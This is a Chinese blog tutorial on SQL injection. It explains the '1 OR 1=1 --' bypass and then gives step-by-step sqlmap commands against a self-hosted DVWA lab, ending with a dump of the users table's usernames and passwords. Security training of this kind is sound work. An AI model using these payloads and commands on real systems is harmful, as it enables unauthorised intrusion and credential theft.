python——web应用程序之使用sqlmap完成sql注入漏洞攻击

1.SQL注入。
     SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。攻击者可以向SQL中插入非正常代码,巧妙构造
SQL语句,从而获取攻击者想要的数据。SQL注入攻击中,主要向变量值插入黑客攻击代码以发动攻击。
如:

$query = "SELECT * FROM USER WHERE ID=$id and PWD=$pwd"

$result = MySQL_query($quer,$connect)

id和pwd是用户登陆页面中输入的。处理结果是返回与输入的id、密码一致的用户的信息
。可以插入妨碍SQL语句执行的代码。向id中输入如下值:

1 OR 1=1 --

把上面的代码赋值给ID,得到如下SQL语句。

$query = "SELECT * FROM USER WHERE ID=1 OR 1=1 -- and PWD=$pwd"

使用ID=1 OR 1=1条件后,处理结果将忽略条件并返回所有结果。密码则通过- -语句处理为了注释。致使SQL语句失去了原有的功能。要成功进行SQL注入,必须不断更改输入值,找出系统漏洞。所以python中的sqlmap应运而生,它可以实现SQL注入自动化!
2、sqlmap。
     http://sqlmap.org 下载zip文件解压缩后放进你安装python的文件夹,使用时只需运行sqlmap.py文件即可,下面是sqlmap的攻击流程。

①搜索URL→②寻找漏洞→③搜索表格→④搜索列→⑤访问数据
3、漏洞测试。
     测试网页是自己搭的DVWA的环境难度为低级。
在这里插入图片描述
探测漏洞
用户身份处输入1查看返回值.
在这里插入图片描述
在输入1’报错。
在这里插入图片描述
证明该网站有SQL注入漏洞。拿出sqlmap跑一下:
输入命令:

python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#"

进行漏洞检测。
在这里插入图片描述

出现了页面跳转,为了防止页面跳转往命令中加入该网页cookie值。

python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#" --cookie "security=low; PHPSESSID=3uc6erbd4928pljvg80moccei5"

在这里插入图片描述
存在SQL注入漏洞。

python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#" --cookie "security=low; PHPSESSID=3uc6erbd4928pljvg80moccei5"
 --dbs --tables

获取数据库列表和读取数据库列表中的信息。
在这里插入图片描述

python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#" --cookie "security=low; PHPSESSID=3uc6erbd4928pljvg80moccei5"
 --dbs -T users --columns

获取表中users中的信息,-T 选项用于指定表名,–columns获取表中指定的数据列。
在这里插入图片描述

python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#" --cookie "security=low; PHPSESSID=3uc6erbd4928pljvg80moccei5"
 --dbs -T users --columns -C user,user_id,password --dump

提取数据,-C选项用于指定要进行黑客攻击的数据列中间用逗号隔开,–dump选项用于从指定数据列中获取信息。
在这里插入图片描述
注入成功!

猜你喜欢

转载自blog.csdn.net/qq_40909772/article/details/83585756